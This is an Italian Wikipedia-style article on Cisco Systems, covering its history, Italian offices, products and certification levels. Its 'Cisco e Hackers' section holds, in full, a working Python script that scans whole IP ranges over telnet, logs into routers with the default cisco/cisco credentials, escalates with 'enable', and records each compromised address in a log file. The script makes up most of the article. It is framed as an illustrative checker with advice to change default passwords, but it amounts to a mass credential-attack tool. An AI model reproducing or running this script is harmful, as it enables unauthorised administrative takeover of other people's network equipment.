Cisco Systems
Da Wikipedia, l'enciclopedia libera.
| Cisco Systems | |
|---|---|
| Nazione | |
| Tipologia | Società per azioni |
| Fondazione | 1984 a San Jose |
| Sede principale | |
|
Informatica |
|
| Fatturato | |
| Utile netto | |
| Dipendenti | 65.545 (2009) |
| Slogan | Welcome To The Human Network |
| Sito web | www.cisco.com |
Cisco è una delle aziende leader nella fornitura di apparati di networking. Nasce nel 1984 a San Josè, California, da un gruppo di ricercatori della Stanford University focalizzandosi sulla produzione di router; attualmente oltre 60.000 persone nel mondo vi lavorano. L'attuale amministratore delegato e presidente è John Chambers.
Le sedi in Italia sono:
- Vimercate (MI), sede principale
- Monza, sede del laboratorio di R&S (ricerca e sviluppo) sulla fotonica, acquisito da Pirelli-Sistemi Ottici
- Roma
- Torino
- Padova
Cisco produce apparati per il funzionamento della reti LAN, MAN, WAN e VLAN e il sistema operativo Internetwork Operating System (IOS) che le pilota. Nell'ottica della fornitura di soluzioni complete Cisco è entrata anche nel mercato della sicurezza con Firewall e VPN, telefonia con IP Telephony, dell'archiviazione con Storage Area Network (SAN).
L'azienda investe molto nella formazione di professionisti competenti nelle nuove tecnologie sviluppate tramite il database accessibile da internet con tutta la documentazione ed esempi su tutte le apparecchiature e tecnologie. Ha sviluppato inoltre un programma mondiale, chiamato Networking Academy, che permette agli studenti di imparare a progettare, realizzare e mantenere reti in grado di supportare organizzazioni nazionali e globali tramite una piattaforma di e-learning all'avanguardia.
Indice |
[modifica] Certificazioni industriali
Esistono 4 livelli di certificazione:
- Entry Level
- CCENT (Cisco Certified Entry Networking Technician)
- Associate
- CCNA (Cisco Certified Network Associate)
- CCDA (Cisco Certified Design Associate)
- Professional
- Expert
- CCIE (Cisco Certified Internetwork Expert)
e varie specializzazioni:
- Routing e Switching
- Design
- Network Security
- Service Provider
- Storage Networking
- Voice
[modifica] CCNA
La Cisco Certified Network Associated (CCNA) è la certificazione di primo livello rilasciata da Cisco Systems a chi intende operare professionalmente su reti Cisco. L'esame per la CCNA richiede conoscenze di base su networking, switching e sui protocolli utilizzati nelle reti LAN e WAN.
[modifica] Cisco e Hackers
La fragilità delle password default di questi router permette ancora lo sfruttamento dell'accesso remoto tramite protocollo telnet. Un hacker ha diffuso questo software che permette di verificare in un range di indirizzi ip se il router ha ancora la password default. Con questo software automatizzato è possibile rilevare le password di molti routers. È consigliato quindi cambiare le password dopo l'acquisto del prodotto. Lo script è stato scritto da ^4st3r1X^ a scopo illustrativo e statistico: In 15 minuti si rilevano 50 router con password default su 400 routers.
#!/usr/bin/python import socket import time import sys from socket import setdefaulttimeout timeoutd = 3 setdefaulttimeout(timeoutd) print """\n\n ----------------------------------------------- - Cisco Default Password Scanner - - Created by ^4st3r1X^ - ----------------------------------------------- """ def utilizzo(): print "\n* Utilizzo: cisco.py -ip [IP] \n* Esempio: cisco.py -ip 82.82.82.82 " print "\n\n* Utilizzo: cisco.py -range [IP.*.*.*] \n* Esempio: cisco.py -range 82 " print "\n\n* Utilizzo: cisco.py -range1 [IP.IP.*.*] \n* Esempio: cisco.py -range1 82.82 " print "\n\n* Utilizzo: cisco.py -range2 [IP.IP.IP.*] \n* Esempio: cisco.py -range2 82.82.82 \n\n" exit() def cisco(): try: if sys.argv[1] == "-ip": ip = sys.argv[2] sel = "1" if sys.argv[1] == "-range": ip = sys.argv[2] sel = "2" if sys.argv[1] == "-range1": ip = sys.argv[2] sel = "3" if sys.argv[1] == "-range2": ip = sys.argv[2] sel = "4" except: utilizzo() p = 23 if sel == "1": s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nConnessione in corso: %s" % (ip) try: s.connect((ip, p)) print "* Connessione riuscita\n" time.sleep(1) data = s.recv(1000000) if data.find("Username:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(2) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("% Authentication failed") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (ip)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (ip)) log.close() else: print "Login admin fallito" pass elif data.find("Password:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("Password:") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\npass:cisco\n" % (ip)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (ip)) log.close() else: print "Login admin fallito" pass else: print "Login errato" pass except socket.error,msg: print "Connessione rifiutata\n" s.close() pass elif sel == "2": for a in range(1,256): for b in range(1,256): for c in range(1,256): rang = "%s.%d.%d.%d" % (ip,a,b,c) timeout = 3 setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nConnessione in corso: %s" % (rang) try: s.connect((rang, p)) print "* Connessione riuscita\n" time.sleep(1) data = s.recv(1000000) if data.find("Username:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(2) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("% Authentication failed") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (rang)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (rang)) log.close() else: print "Login admin fallito" pass elif data.find("Password:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("Password:") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\npass:cisco\n" % (rang)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (rang)) log.close() else: print "Login admin fallito" pass else: print "Login errato" pass s.close() except socket.error,msg: print "Connessione rifiutata\n" s.close() pass elif sel == "3": for a in range(1,256): for b in range(1,256): rang = "%s.%d.%d" % (ip,a,b) timeout = 3 setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nConnessione in corso: %s" % (rang) try: s.connect((rang, p)) print "* Connessione riuscita\n" time.sleep(1) data = s.recv(1000000) if data.find("Username:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(2) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("% Authentication failed") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (rang)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (rang)) log.close() else: print "Login admin fallito" pass elif data.find("Password:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("Password:") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\npass:cisco\n" % (rang)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (rang)) log.close() else: print "Login admin fallito" pass else: print "Login errato" pass s.close() except socket.error,msg: print "Connessione rifiutata\n" s.close() pass elif sel == "4": for a in range(1,256): rang = "%s.%d" % (ip,a) timeout = 3 setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "\nConnessione in corso: %s" % (rang) try: s.connect((rang, p)) print "* Connessione riuscita\n" time.sleep(1) data = s.recv(1000000) if data.find("Username:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(2) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("% Authentication failed") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\nuser:cisco\npass:cisco\n" % (rang)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (rang)) log.close() else: print "Login admin fallito" pass elif data.find("Password:") != -1: print "Login in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("% Login invalid") != -1: print "Login errato" pass elif data.find("% Bad passwords") != -1: print "Login errato" pass elif data.find("Password:") != -1: print "Login errato" pass else: print ">>Login riuscito" s.send("enable\n") time.sleep(1) log = open('Cisco.log', 'a') log.write("%s Login riuscito\npass:cisco\n" % (rang)) log.close() print "Login come amministratore in corso..." s.send("cisco\n") time.sleep(1) data = s.recv(100000) time.sleep(1) if data.find("#") != -1: print ">>Login amministratore riuscito" log = open('Cisco.log', 'a') log.write("%s Login admin riuscito\npass:cisco\n" % (rang)) log.close() else: print "Login admin fallito" pass else: print "Login errato" pass s.close() except socket.error,msg: print "Connessione rifiutata\n" s.close() pass print "\n\nScansione terminata: Cisco.log scritto con successo\n" cisco()
[modifica] Voci correlate
[modifica] Cisco Users Group
Alcuni anni fa Cisco Press, sinergia tra Cisco Systems e Pearson Education, ha lanciato un programma ufficiale per i Cisco Users Group. Attualmente i Cisco Users Group in Italia sono:
[modifica] Collegamenti esterni
|
|
|
|---|---|
|
3M · Alcoa · American Express · AT&T · Bank of America · Boeing · Caterpillar · Chevron · Cisco Systems · The Coca-Cola Company · DuPont · ExxonMobil · General Electric · Hewlett-Packard · Home Depot · Intel · IBM · Johnson & Johnson · JPMorgan Chase · Kraft Foods · McDonald's · Merck & Co. · Microsoft · Pfizer · Procter & Gamble · The Travelers Companies · United Technologies · Verizon · Wal-Mart · The Walt Disney Company |
|
| Blue chip · Borsa valori · Indice azionario · NYSE |
